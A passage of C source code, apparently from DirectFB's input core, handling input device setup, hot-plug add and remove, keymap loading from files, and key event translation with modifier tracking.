device->shared->device_info.desc.caps; } void dfb_input_device_description( const CoreInputDevice *device, DFBInputDeviceDescription *desc ) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); *desc = device->shared->device_info.desc; } DFBResult dfb_input_device_get_keymap_entry( CoreInputDevice *device, int keycode, DFBInputDeviceKeymapEntry *entry ) { DFBInputDeviceKeymapEntry *keymap_entry; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( entry != NULL ); keymap_entry = get_keymap_entry( device, keycode ); if (!keymap_entry) return DFB_FAILURE; *entry = *keymap_entry; return DFB_OK; } DFBResult dfb_input_device_set_keymap_entry( CoreInputDevice *device, int keycode, DFBInputDeviceKeymapEntry *entry ) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( entry != NULL ); return set_keymap_entry( device, keycode, entry ); } DFBResult dfb_input_device_load_keymap ( CoreInputDevice *device, char *filename ) { D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( filename != NULL ); return load_keymap( device, filename ); } DFBResult dfb_input_device_reload_keymap( CoreInputDevice *device ) { int ret; InputDeviceShared *shared; D_MAGIC_ASSERT( device, CoreInputDevice ); shared = device->shared; D_ASSERT( shared != NULL ); D_INFO( "DirectFB/Input: Reloading keymap for '%s' [0x%02x]...\n", shared->device_info.desc.name, shared->id ); if (fusion_call_execute( &shared->call, FCEF_NONE, CIDC_RELOAD_KEYMAP, NULL, &ret )) return DFB_FUSION; return ret; } /** internal **/ static void input_add_device( CoreInputDevice *device ) { D_DEBUG_AT( Core_Input, "%s( %p )\n", __FUNCTION__, device ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); if (core_input->num == MAX_INPUTDEVICES) { D_ERROR( "DirectFB/Input: Maximum number of devices reached!\n" ); return; } direct_list_append( &core_local->devices, &device->link ); core_input->devices[ core_input->num++ ] = device->shared; } static void allocate_device_keymap( CoreDFB *core, CoreInputDevice *device ) { int i; DFBInputDeviceKeymapEntry *entries; FusionSHMPoolShared *pool = dfb_core_shmpool( core ); InputDeviceShared *shared = device->shared; DFBInputDeviceDescription *desc = &shared->device_info.desc; int num_entries = desc->max_keycode - desc->min_keycode + 1; D_DEBUG_AT( Core_Input, "%s( %p, %p )\n", __FUNCTION__, core, device ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); entries = SHCALLOC( pool, num_entries, sizeof(DFBInputDeviceKeymapEntry) ); if (!entries) { D_OOSHM(); return; } /* write -1 indicating entry is not fetched yet from driver */ for (i=0; i<num_entries; i++) entries[i].code = -1; shared->keymap.min_keycode = desc->min_keycode; shared->keymap.max_keycode = desc->max_keycode; shared->keymap.num_entries = num_entries; shared->keymap.entries = entries; #if FUSION_BUILD_MULTI /* we need to fetch the whole map, otherwise a slave would try to */ for (i=desc->min_keycode; i<=desc->max_keycode; i++) get_keymap_entry( device, i ); #endif } static int make_id( DFBInputDeviceID prefered ) { CoreInputDevice *device; D_DEBUG_AT( Core_Input, "%s( 0x%02x )\n", __FUNCTION__, prefered ); D_ASSERT( core_input != NULL ); direct_list_foreach (device, core_local->devices) { D_MAGIC_ASSERT( device, CoreInputDevice ); if (device->shared->id == prefered) return make_id( (prefered < DIDID_ANY) ? DIDID_ANY : (prefered + 1) ); } return prefered; } static DFBResult reload_keymap( CoreInputDevice *device ) { int i; InputDeviceShared *shared; D_DEBUG_AT( Core_Input, "%s( %p )\n", __FUNCTION__, device ); D_MAGIC_ASSERT( device, CoreInputDevice ); shared = device->shared; D_ASSERT( shared != NULL ); if (shared->device_info.desc.min_keycode < 0 || shared->device_info.desc.max_keycode < 0) return DFB_UNSUPPORTED; /* write -1 indicating entry is not fetched yet from driver */ for (i=0; i<shared->keymap.num_entries; i++) shared->keymap.entries[i].code = -1; /* fetch the whole map */ for (i=shared->keymap.min_keycode; i<=shared->keymap.max_keycode; i++) get_keymap_entry( device, i ); D_INFO( "DirectFB/Input: Reloaded keymap for '%s' [0x%02x]\n", shared->device_info.desc.name, shared->id ); return DFB_OK; } static FusionCallHandlerResult input_device_call_handler( int caller, /* fusion id of the caller */ int call_arg, /* optional call parameter */ void *call_ptr, /* optional call parameter */ void *ctx, /* optional handler context */ unsigned int serial, int *ret_val ) { CoreInputDeviceCommand command = call_arg; CoreInputDevice *device = ctx; D_DEBUG_AT( Core_Input, "%s( %d, %d, %p, %p )\n", __FUNCTION__, caller, call_arg, call_ptr, ctx ); D_MAGIC_ASSERT( device, CoreInputDevice ); switch (command) { case CIDC_RELOAD_KEYMAP: *ret_val = reload_keymap( device ); break; default: D_BUG( "unknown Core Input Device Command '%d'", command ); *ret_val = DFB_BUG; } return FCHR_RETURN; } static DFBResult init_axes( CoreInputDevice *device ) { int i, num; DFBResult ret; InputDeviceShared *shared; const InputDriverFuncs *funcs; D_DEBUG_AT( Core_Input, "%s( %p )\n", __FUNCTION__, device ); D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( device->driver != NULL ); funcs = device->driver->funcs; D_ASSERT( funcs != NULL ); shared = device->shared; D_ASSERT( shared != NULL ); if (shared->device_info.desc.max_axis < 0) return DFB_OK; num = shared->device_info.desc.max_axis + 1; shared->axis_info = SHCALLOC( dfb_core_shmpool(device->core), num, sizeof(DFBInputDeviceAxisInfo) ); if (!shared->axis_info) return D_OOSHM(); shared->axis_num = num; if (funcs->GetAxisInfo) { for (i=0; i<num; i++) { ret = funcs->GetAxisInfo( device, device->driver_data, i, &shared->axis_info[i] ); if (ret) D_DERROR( ret, "Core/Input: GetAxisInfo() failed for '%s' [%d] on axis %d!\n", shared->device_info.desc.name, shared->id, i ); } } return DFB_OK; } static void init_devices( CoreDFB *core ) { DirectLink *next; DirectModuleEntry *module; FusionSHMPoolShared *pool = dfb_core_shmpool( core ); D_DEBUG_AT( Core_Input, "%s( %p )\n", __FUNCTION__, core ); D_ASSERT( core_input != NULL ); direct_list_foreach_safe (module, next, dfb_input_modules.entries) { int n; InputDriver *driver; const InputDriverFuncs *funcs; InputDriverCapability driver_cap; DFBResult result; driver_cap = IDC_NONE; funcs = direct_module_ref( module ); if (!funcs) continue; driver = D_CALLOC( 1, sizeof(InputDriver) ); if (!driver) { D_OOM(); direct_module_unref( module ); continue; } D_ASSERT( funcs->GetDriverInfo != NULL ); funcs->GetDriverInfo( &driver->info ); D_DEBUG_AT( Core_Input, " -> probing '%s'...\n", driver->info.name ); driver->nr_devices = funcs->GetAvailable(); /* * If the input provider supports hot-plug, always load the module. */ if (!funcs->GetCapability) { D_DEBUG_AT(Core_Input, "InputDriverFuncs::GetCapability is NULL\n"); } else { driver_cap = funcs->GetCapability(); } if (!driver->nr_devices && !(driver_cap & IDC_HOTPLUG)) { direct_module_unref( module ); D_FREE( driver ); continue; } D_DEBUG_AT( Core_Input, " -> %d available device(s) provided by '%s'.\n", driver->nr_devices, driver->info.name ); driver->module = module; driver->funcs = funcs; direct_list_prepend( &core_local->drivers, &driver->link ); for (n=0; n<driver->nr_devices; n++) { char buf[128]; CoreInputDevice *device; InputDeviceInfo device_info; InputDeviceShared *shared; void *driver_data; device = D_CALLOC( 1, sizeof(CoreInputDevice) ); if (!device) { D_OOM(); continue; } shared = SHCALLOC( pool, 1, sizeof(InputDeviceShared) ); if (!shared) { D_OOSHM(); D_FREE( device ); continue; } device->core = core; memset( &device_info, 0, sizeof(InputDeviceInfo) ); device_info.desc.min_keycode = -1; device_info.desc.max_keycode = -1; D_MAGIC_SET( device, CoreInputDevice ); if (funcs->OpenDevice( device, n, &device_info, &driver_data )) { SHFREE( pool, shared ); D_MAGIC_CLEAR( device ); D_FREE( device ); continue; } D_DEBUG_AT( Core_Input, " -> opened '%s' (%d) %d.%d (%s)\n", device_info.desc.name, n + 1, driver->info.version.major, driver->info.version.minor, driver->info.vendor ); if (driver->nr_devices > 1) snprintf( buf, sizeof(buf), "%s (%d)", device_info.desc.name, n+1 ); else snprintf( buf, sizeof(buf), "%s", device_info.desc.name ); /* init skirmish */ fusion_skirmish_init( &shared->lock, buf, dfb_core_world(core) ); /* create reactor */ shared->reactor = fusion_reactor_new( sizeof(DFBInputEvent), buf, dfb_core_world(core) ); fusion_reactor_set_lock( shared->reactor, &shared->lock ); /* init call */ fusion_call_init( &shared->call, input_device_call_handler, device, dfb_core_world(core) ); /* initialize shared data */ shared->id = make_id(device_info.prefered_id); shared->num = n; shared->device_info = device_info; shared->last_key = DIKI_UNKNOWN; shared->first_press = true; /* initialize local data */ device->shared = shared; device->driver = driver; device->driver_data = driver_data; D_INFO( "DirectFB/Input: %s %d.%d (%s)\n", buf, driver->info.version.major, driver->info.version.minor, driver->info.vendor ); #if FUSION_BUILD_MULTI /* Initialize the ref between shared device and local device. */ snprintf( buf, sizeof(buf), "Ref of input device(%d)", shared->id ); fusion_ref_init( &shared->ref, buf, dfb_core_world(core) ); /* Increase reference counter. */ fusion_ref_up( &shared->ref, true ); #endif if (device_info.desc.min_keycode > device_info.desc.max_keycode) { D_BUG("min_keycode > max_keycode"); device_info.desc.min_keycode = -1; device_info.desc.max_keycode = -1; } else if (device_info.desc.min_keycode >= 0 && device_info.desc.max_keycode >= 0) allocate_device_keymap( core, device ); init_axes( device ); /* add it to the list */ input_add_device( device ); } /* * If the driver supports hot-plug, launch its hot-plug thread to respond to * hot-plug events. Failures in launching the hot-plug thread will only * result in no hot-plug feature being available. */ if (driver_cap == IDC_HOTPLUG) { result = funcs->LaunchHotplug(core, (void*) driver); /* On failure, the input provider can still be used without hot-plug. */ if (result) { D_INFO( "DirectFB/Input: Failed to enable hot-plug " "detection with %s\n ", driver->info.name); } else { D_INFO( "DirectFB/Input: Hot-plug detection enabled with %s \n", driver->info.name); } } } } /* * Create the DFB shared core input device, add the input device into the * local device list and shared dev array and broadcast the hot-plug in * message to all slaves. */ DFBResult dfb_input_create_device(int device_index, CoreDFB *core_in, void *driver_in) { char buf[128]; CoreInputDevice *device; InputDeviceInfo device_info; InputDeviceShared *shared; void *driver_data; InputDriver *driver = NULL; const InputDriverFuncs *funcs; FusionSHMPoolShared *pool; DFBResult result; D_DEBUG_AT(Core_Input, "Enter: %s()\n", __FUNCTION__); driver = (InputDriver *)driver_in; pool = dfb_core_shmpool(core_in); funcs = driver->funcs; if (!funcs) { D_ERROR("DirectFB/Input: driver->funcs is NULL\n"); goto errorExit; } device = D_CALLOC( 1, sizeof(CoreInputDevice) ); if (!device) { D_OOM(); goto errorExit; } shared = SHCALLOC( pool, 1, sizeof(InputDeviceShared) ); if (!shared) { D_OOM(); D_FREE( device ); goto errorExit; } device->core = core_in; memset( &device_info, 0, sizeof(InputDeviceInfo) ); device_info.desc.min_keycode = -1; device_info.desc.max_keycode = -1; D_MAGIC_SET( device, CoreInputDevice ); if (funcs->OpenDevice( device, device_index, &device_info, &driver_data )) { SHFREE( pool, shared ); D_MAGIC_CLEAR( device ); D_FREE( device ); D_DEBUG_AT( Core_Input, "DirectFB/Input: Cannot open device in %s, at %d in %s\n", __FUNCTION__, __LINE__, __FILE__); goto errorExit; } snprintf( buf, sizeof(buf), "%s (%d)", device_info.desc.name, device_index); /* init skirmish */ result = fusion_skirmish_init( &shared->lock, buf, dfb_core_world(device->core) ); if (result) { funcs->CloseDevice( driver_data ); SHFREE( pool, shared ); D_MAGIC_CLEAR( device ); D_FREE( device ); D_ERROR("DirectFB/Input: fusion_skirmish_init() failed! in %s, at %d in %s\n", __FUNCTION__, __LINE__, __FILE__); goto errorExit; } /* create reactor */ shared->reactor = fusion_reactor_new( sizeof(DFBInputEvent), buf, dfb_core_world(device->core) ); if (!shared->reactor) { funcs->CloseDevice( driver_data ); SHFREE( pool, shared ); D_MAGIC_CLEAR( device ); D_FREE( device ); fusion_skirmish_destroy(&shared->lock); D_ERROR("DirectFB/Input: fusion_reactor_new() failed! in %s, at %d in %s\n", __FUNCTION__, __LINE__, __FILE__); goto errorExit; } fusion_reactor_set_lock( shared->reactor, &shared->lock ); /* init call */ fusion_call_init( &shared->call, input_device_call_handler, device, dfb_core_world(device->core) ); /* initialize shared data */ shared->id = make_id(device_info.prefered_id); shared->num = device_index; shared->device_info = device_info; shared->last_key = DIKI_UNKNOWN; shared->first_press = true; /* initialize local data */ device->shared = shared; device->driver = driver; device->driver_data = driver_data; D_INFO( "DirectFB/Input: %s %d.%d (%s)\n", buf, driver->info.version.major, driver->info.version.minor, driver->info.vendor ); #if FUSION_BUILD_MULTI snprintf( buf, sizeof(buf), "Ref of input device(%d)", shared->id); fusion_ref_init( &shared->ref, buf, dfb_core_world(core_in)); fusion_ref_up( &shared->ref, true ); #endif if (device_info.desc.min_keycode > device_info.desc.max_keycode) { D_BUG("min_keycode > max_keycode"); device_info.desc.min_keycode = -1; device_info.desc.max_keycode = -1; } else if (device_info.desc.min_keycode >= 0 && device_info.desc.max_keycode >= 0) allocate_device_keymap( device->core, device ); /* add it into local device list and shared dev array */ D_DEBUG_AT(Core_Input, "In master, add a new device with dev_id=%d\n", shared->id); input_add_device( device ); driver->nr_devices++; D_DEBUG_AT(Core_Input, "Successfully added new input device with dev_id=%d in shared array\n", shared->id); InputDeviceHotplugEvent message; /* Setup the hot-plug in message. */ message.is_plugin = true; message.dev_id = shared->id; gettimeofday (&message.stamp, NULL); /* Send the hot-plug in message */ #if FUSION_BUILD_MULTI fusion_reactor_dispatch(core_input->reactor, &message, true, NULL); #else local_processing_hotplug((const void *) &message, (void*) core_in); #endif return DFB_OK; errorExit: return DFB_FAILURE; } /* * Tell whether the DFB input device handling of the system input device * indicated by device_index is already created. */ static CoreInputDevice * search_device_created(int device_index, void *driver_in) { DirectLink *n; CoreInputDevice *device; D_ASSERT(driver_in != NULL); direct_list_foreach_safe(device, n, core_local->devices) { if (device->driver != driver_in) continue; if (device->driver_data == NULL) { D_DEBUG_AT(Core_Input, "The device %d has been closed!\n", device->shared->id); return NULL; } if (device->driver->funcs->IsCreated && !device->driver->funcs->IsCreated(device_index, device->driver_data)) { return device; } } return NULL; } /* * Remove the DFB shared core input device handling of the system input device * indicated by device_index and broadcast the hot-plug out message to all slaves. */ DFBResult dfb_input_remove_device(int device_index, void *driver_in) { CoreInputDevice *device; InputDeviceShared *shared; FusionSHMPoolShared *pool; int i; int found = 0; int device_id; D_DEBUG_AT(Core_Input, "Enter: %s()\n", __FUNCTION__); D_ASSERT(driver_in !=NULL); device = search_device_created(device_index, driver_in); if (device == NULL) { D_DEBUG_AT(Core_Input, "DirectFB/input: Failed to find the device[%d] or the device is " "closed.\n", device_index); goto errorExit; } shared = device->shared; pool = dfb_core_shmpool( device->core ); device_id = shared->id; D_DEBUG_AT(Core_Input, "Find the device with dev_id=%d\n", device_id); device->driver->funcs->CloseDevice( device->driver_data ); device->driver->nr_devices--; InputDeviceHotplugEvent message; /* Setup the hot-plug out message */ message.is_plugin = false; message.dev_id = device_id; gettimeofday (&message.stamp, NULL); /* Send the hot-plug out message */ #if FUSION_BUILD_MULTI fusion_reactor_dispatch( core_input->reactor, &message, true, NULL); int loop = CHECK_NUMBER; while (--loop) { if (fusion_ref_zero_trylock( &device->shared->ref ) == DR_OK) { fusion_ref_unlock(&device->shared->ref); break; } usleep(CHECK_INTERVAL); } if (!loop) D_DEBUG_AT(Core_Input, "Shared device might be connected to by others\n"); fusion_ref_destroy(&device->shared->ref); #else local_processing_hotplug((const void*) &message, (void*) device->core); #endif /* Remove the device from shared array */ for (i = 0; i < core_input->num; i++) { if (!found && (core_input->devices[i]->id == shared->id)) found = 1; if (found) core_input->devices[i] = core_input->devices[(i + 1) % MAX_INPUTDEVICES]; } if (found) core_input->devices[core_input->num -1] = NULL; core_input->num--; fusion_call_destroy( &shared->call ); fusion_skirmish_destroy( &shared->lock ); fusion_reactor_free( shared->reactor ); if (shared->keymap.entries) SHFREE( pool, shared->keymap.entries ); SHFREE( pool, shared ); D_DEBUG_AT(Core_Input, "Successfully remove the device with dev_id=%d in shared array\n", device_id); return DFB_OK; errorExit: return DFB_FAILURE; } /* * Create local input device and add it into the local input devices list. */ static CoreInputDevice * add_device_into_local_list(int dev_id) { int i; D_DEBUG_AT(Core_Input, "Enter: %s()\n", __FUNCTION__); for (i = 0; i < core_input->num; i++) { if (core_input->devices[i]->id == dev_id) { CoreInputDevice *device; D_DEBUG_AT(Core_Input, "Find the device with dev_id=%d in shared array, and " "allocate local device\n", dev_id); device = D_CALLOC( 1, sizeof(CoreInputDevice) ); if (!device) { return NULL; } device->shared = core_input->devices[i]; #if FUSION_BUILD_MULTI /* Increase the reference counter. */ fusion_ref_up( &device->shared->ref, true ); #endif /* add it to the list */ direct_list_append( &core_local->devices, &device->link ); D_MAGIC_SET( device, CoreInputDevice ); return device; } } return NULL; } /* * Local input device function that handles hot-plug in/out messages. */ static ReactionResult local_processing_hotplug( const void *msg_data, void *ctx ) { const InputDeviceHotplugEvent *message = msg_data; CoreInputDevice *device = NULL; D_DEBUG_AT(Core_Input, "Enter: %s()\n", __FUNCTION__); D_DEBUG_AT(Core_Input, "<PID:%6d> hotplug-in:%d device_id=%d message!\n", getpid(), message->is_plugin, message->dev_id ); if (message->is_plugin) { device = dfb_input_device_at(message->dev_id); if (!device){ /* Update local device list according to shared devices array */ if (!(device = add_device_into_local_list(message->dev_id))) { D_ERROR("DirectFB/Input: update_local_devices_list() failed\n" ); goto errorExit; } } /* attach the device to event containers */ containers_attach_device( device ); /* attach the device to stack containers */ stack_containers_attach_device( device ); } else { device = dfb_input_device_at(message->dev_id); if (device) { direct_list_remove(&core_local->devices, &device->link); containers_detach_device(device); stack_containers_detach_device(device); #if FUSION_BUILD_MULTI /* Decrease reference counter. */ fusion_ref_down( &device->shared->ref, true ); #endif D_MAGIC_CLEAR( device ); D_FREE(device); } else D_ERROR("DirectFB/Input:Can't find the device to be removed!\n"); } return DFB_OK; errorExit: return DFB_FAILURE; } static DFBInputDeviceKeymapEntry * get_keymap_entry( CoreInputDevice *device, int code ) { InputDeviceKeymap *map; DFBInputDeviceKeymapEntry *entry; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); map = &device->shared->keymap; /* safety check */ if (code < map->min_keycode || code > map->max_keycode) return NULL; /* point to right array index */ entry = &map->entries[code - map->min_keycode]; /* need to initialize? */ if (entry->code != code) { DFBResult ret; InputDriver *driver = device->driver; if (!driver) { D_BUG("seem to be a slave with an empty keymap"); return NULL; } /* write keycode to entry */ entry->code = code; /* fetch entry from driver */ ret = driver->funcs->GetKeymapEntry( device, device->driver_data, entry ); if (ret) return NULL; /* drivers may leave this blank */ if (entry->identifier == DIKI_UNKNOWN) entry->identifier = symbol_to_id( entry->symbols[DIKSI_BASE] ); if (entry->symbols[DIKSI_BASE_SHIFT] == DIKS_NULL) entry->symbols[DIKSI_BASE_SHIFT] = entry->symbols[DIKSI_BASE]; if (entry->symbols[DIKSI_ALT] == DIKS_NULL) entry->symbols[DIKSI_ALT] = entry->symbols[DIKSI_BASE]; if (entry->symbols[DIKSI_ALT_SHIFT] == DIKS_NULL) entry->symbols[DIKSI_ALT_SHIFT] = entry->symbols[DIKSI_ALT]; } return entry; } /* replace a single keymap entry with the code-entry pair */ static DFBResult set_keymap_entry( CoreInputDevice *device, int code, DFBInputDeviceKeymapEntry *entry ) { InputDeviceKeymap *map; D_ASSERT( device->shared != NULL ); D_ASSERT( device->shared->keymap.entries != NULL ); map = &device->shared->keymap; /* sanity check */ if (code < map->min_keycode || code > map->max_keycode) return DFB_FAILURE; /* copy the entry to the map */ map->entries[code - map->min_keycode] = *entry; return DFB_OK; } /* replace the complete current keymap with a keymap from a file. * the minimum-maximum keycodes of the driver are to be respected. */ static DFBResult load_keymap( CoreInputDevice *device, char *filename ) { DFBResult ret = DFB_OK; InputDeviceKeymap *map = 0; FILE *file = 0; DFBInputDeviceLockState lockstate = 0; D_ASSERT( device->shared != NULL ); D_ASSERT( device->shared->keymap.entries != NULL ); map = &device->shared->keymap; /* open the file */ file = fopen( filename, "r" ); if( !file ) { return errno2result( errno ); } /* read the file, line by line, and consume the mentioned scancodes */ while(1) { int i; int dummy; char buffer[201]; int keycode; char diki[201]; char diks[4][201]; char *b; DFBInputDeviceKeymapEntry entry = { .code = 0 }; b = fgets( buffer, 200, file ); if( !b ) { if( feof(file) ) { fclose(file); return DFB_OK; } fclose(file); return errno2result(errno); } /* comment or empty line */ if( buffer[0]=='#' || strcmp(buffer,"\n")==0 ) continue; /* check for lock state change */ if( !strncmp(buffer,"capslock:",9) ) { lockstate |= DILS_CAPS; continue; } if( !strncmp(buffer,":capslock",9) ) { lockstate &= ~DILS_CAPS; continue; } if( !strncmp(buffer,"numlock:",8) ) { lockstate |= DILS_NUM; continue; } if( !strncmp(buffer,":numlock",8) ) { lockstate &= ~DILS_NUM; continue; } i = sscanf( buffer, " keycode %i = %s = %s %s %s %s %i\n", &keycode, diki, diks[0], diks[1], diks[2], diks[3], &dummy ); if( i < 3 || i > 6 ) { /* we want 1 to 4 key symbols */ D_INFO( "DirectFB/Input: skipped erroneous input line %s\n", buffer ); continue; } if( keycode > map->max_keycode || keycode < map->min_keycode ) { D_INFO( "DirectFB/Input: skipped keycode %d out of range\n", keycode ); continue; } entry.code = keycode; entry.locks = lockstate; entry.identifier = lookup_keyidentifier( diki ); switch( i ) { case 6: entry.symbols[3] = lookup_keysymbol( diks[3] ); case 5: entry.symbols[2] = lookup_keysymbol( diks[2] ); case 4: entry.symbols[1] = lookup_keysymbol( diks[1] ); case 3: entry.symbols[0] = lookup_keysymbol( diks[0] ); /* fall through */ } switch( i ) { case 3: entry.symbols[1] = entry.symbols[0]; case 4: entry.symbols[2] = entry.symbols[0]; case 5: entry.symbols[3] = entry.symbols[1]; /* fall through */ } ret = set_keymap_entry( device, keycode, &entry ); if( ret ) return ret; } } static DFBInputDeviceKeySymbol lookup_keysymbol( char *symbolname ) { int i; /* we want uppercase */ for( i=0; i<strlen(symbolname); i++ ) if( symbolname[i] >= 'a' && symbolname[i] <= 'z' ) symbolname[i] = symbolname[i] - 'a' + 'A'; for( i=0; i < sizeof (KeySymbolNames) / sizeof (KeySymbolNames[0]); i++ ) { if( strcmp( symbolname, KeySymbolNames[i].name ) == 0 ) return KeySymbolNames[i].symbol; } /* not found, maybe starting with 0x for raw conversion. * We are already at uppercase. */ if( symbolname[0]=='0' && symbolname[1]=='X' ) { int code=0; symbolname+=2; while(*symbolname) { if( *symbolname >= '0' && *symbolname <= '9' ) { code = code*16 + *symbolname - '0'; } else if( *symbolname >= 'A' && *symbolname <= 'F' ) { code = code*16 + *symbolname - 'A' + 10; } else { /* invalid character */ return DIKS_NULL; } symbolname++; } return code; } return DIKS_NULL; } static DFBInputDeviceKeyIdentifier lookup_keyidentifier( char *identifiername ) { int i; /* we want uppercase */ for( i=0; i<strlen(identifiername); i++ ) if( identifiername[i] >= 'a' && identifiername[i] <= 'z' ) identifiername[i] = identifiername[i] - 'a' + 'A'; for( i=0; i < sizeof (KeyIdentifierNames) / sizeof (KeyIdentifierNames[0]); i++ ) { if( strcmp( identifiername, KeyIdentifierNames[i].name ) == 0 ) return KeyIdentifierNames[i].identifier; } return DIKI_UNKNOWN; } static bool lookup_from_table( CoreInputDevice *device, DFBInputEvent *event, DFBInputEventFlags lookup ) { DFBInputDeviceKeymapEntry *entry; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); D_ASSERT( event != NULL ); /* fetch the entry from the keymap, possibly calling the driver */ entry = get_keymap_entry( device, event->key_code ); if (!entry) return false; /* lookup identifier */ if (lookup & DIEF_KEYID) event->key_id = entry->identifier; /* lookup symbol */ if (lookup & DIEF_KEYSYMBOL) { DFBInputDeviceKeymapSymbolIndex index = (event->modifiers & DIMM_ALTGR) ? DIKSI_ALT : DIKSI_BASE; if ((event->modifiers & DIMM_SHIFT) || (entry->locks & event->locks)) index++; /* don't modify modifiers */ if (DFB_KEY_TYPE( entry->symbols[DIKSI_BASE] ) == DIKT_MODIFIER) event->key_symbol = entry->symbols[DIKSI_BASE]; else event->key_symbol = entry->symbols[index]; } return true; } static int find_key_code_by_id( CoreInputDevice *device, DFBInputDeviceKeyIdentifier id ) { int i; InputDeviceKeymap *map; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); map = &device->shared->keymap; for (i=0; i<map->num_entries; i++) { DFBInputDeviceKeymapEntry *entry = &map->entries[i]; if (entry->identifier == id) return entry->code; } return -1; } static int find_key_code_by_symbol( CoreInputDevice *device, DFBInputDeviceKeySymbol symbol ) { int i; InputDeviceKeymap *map; D_MAGIC_ASSERT( device, CoreInputDevice ); D_ASSERT( core_input != NULL ); D_ASSERT( device != NULL ); D_ASSERT( device->shared != NULL ); map = &device->shared->keymap; for (i=0; i<map->num_entries; i++) { int n; DFBInputDeviceKeymapEntry *entry = &map->entries[i]; for (n=0; n<=DIKSI_LAST; n++) if (entry->symbols[n] == symbol) return entry->code; } return -1; } #define FIXUP_KEY_FIELDS (DIEF_MODIFIERS | DIEF_LOCKS | \ DIEF_KEYCODE | DIEF_KEYID | DIEF_KEYSYMBOL) /* * Fill partially missing values for key_code, key_id and key_symbol by * translating those that are set. Fix modifiers/locks before if not set. * * * There are five valid constellations that give reasonable values. * (not counting the constellation where everything is set) * * Device has no translation table * 1. key_id is set, key_symbol not * -> key_code defaults to -1, key_symbol from key_id (up-translation) * 2. key_symbol is set, key_id not * -> key_code defaults to -1, key_id from key_symbol (down-translation) * * Device has a translation table * 3. key_code is set * -> look up key_id and/or key_symbol (key_code being the index) * 4. key_id is set * -> look up key_code and possibly key_symbol (key_id being searched for) * 5. key_symbol is set * -> look up key_code and key_id (key_symbol being searched for) * * Fields remaining will be set to the default, e.g. key_code to -1. */ static void fixup_key_event( CoreInputDevice *device, DFBInputEvent *event ) { int i; DFBInputEventFlags valid = event->flags & FIXUP_KEY_FIELDS; DFBInputEventFlags missing = valid ^ FIXUP_KEY_FIELDS; InputDeviceShared *shared = device->shared; D_MAGIC_ASSERT( device, CoreInputDevice ); /* Add missing flags */ event->flags |= missing; /* * Use cached values for modifiers/locks if they are missing. */ if (missing & DIEF_MODIFIERS) event->modifiers = shared->modifiers_l | shared->modifiers_r; if (missing & DIEF_LOCKS) event->locks = shared->locks; /* * With translation table */ if (device->shared->keymap.num_entries) { if (valid & DIEF_KEYCODE) { lookup_from_table( device, event, missing ); missing &= ~(DIEF_KEYID | DIEF_KEYSYMBOL); } else if (valid & DIEF_KEYID) { event->key_code = find_key_code_by_id( device, event->key_id ); if (event->key_code != -1) { lookup_from_table( device, event, missing ); missing &= ~(DIEF_KEYCODE | DIEF_KEYSYMBOL); } else if (missing & DIEF_KEYSYMBOL) { event->key_symbol = id_to_symbol( event->key_id, event->modifiers, event->locks ); missing &= ~DIEF_KEYSYMBOL; } } else if (valid & DIEF_KEYSYMBOL) { event->key_code = find_key_code_by_symbol( device, event->key_symbol ); if (event->key_code != -1) { lookup_from_table( device, event, missing ); missing &= ~(DIEF_KEYCODE | DIEF_KEYID); } else { event->key_id = symbol_to_id( event->key_symbol ); missing &= ~DIEF_KEYSYMBOL; } } } else { /* * Without translation table */ if (valid & DIEF_KEYID) { if (missing & DIEF_KEYSYMBOL) { event->key_symbol = id_to_symbol( event->key_id, event->modifiers, event->locks ); missing &= ~DIEF_KEYSYMBOL; } } else if (valid & DIEF_KEYSYMBOL) { event->key_id = symbol_to_id( event->key_symbol ); missing &= ~DIEF_KEYID; } } /* * Clear remaining fields. */ if (missing & DIEF_KEYCODE) event->key_code = -1; if (missing & DIEF_KEYID) event->key_id = DIKI_UNKNOWN; if (missing & DIEF_KEYSYMBOL) event->key_symbol = DIKS_NULL; /* * Update cached values for modifiers. */ if (DFB_KEY_TYPE(event->key_symbol) == DIKT_MODIFIER) { if (event->type == DIET_KEYPRESS) { switch (event->key_id) { case DIKI_SHIFT_L: shared->modifiers_l |= DIMM_SHIFT; break; case DIKI_SHIFT_R: shared->modifiers_r |= DIMM_SHIFT; break; case DIKI_CONTROL_L: shared->modifiers_l |= DIMM_CONTROL; break; case DIKI_CONTROL_R: shared->modifiers_r |= DIMM_CONTROL; break; case DIKI_ALT_L: shared->modifiers_l |= DIMM_ALT; break; case DIKI_ALT_R: shared->modifiers_r |= (event->key_symbol == DIKS_ALTGR) ? DIMM_ALTGR : DIMM_ALT; break; case DIKI_META_L: shared->modifiers_l |= DIMM_META; break; case DIKI_META_R: shared->modifiers_r |= DIMM_META; break; case DIKI_SUPER_L: shared->modifiers_l |= DIMM_SUPER; break; case DIKI_SUPER_R: shared->modifiers_r |= DIMM_SUPER; break; case DIKI_HYPER_L: shared->modifiers_l |= DIMM_HYPER; break; case DIKI_HYPER_R: shared->modifiers_r |= DIMM_HYPER; break; default: ; } } else { switch (event->key_id) { case DIKI_SHIFT_L: shared->modifiers_l &= ~DIMM_SHIFT; break; case DIKI_SHIFT_R: shared->modifiers_r &= ~DIMM_SHIFT; break; case DIKI_CONTROL_L: shared->modifiers_l &= ~DIMM_CONTROL; break; case DIKI_CONTROL_R: shared->modifiers_r &= ~DIMM_CONTROL; break; case DIKI_ALT_L: shared->modifiers_l &= ~DIMM_ALT; break; case DIKI_ALT_R: shared->modifiers_r &= (event->key_symbol == 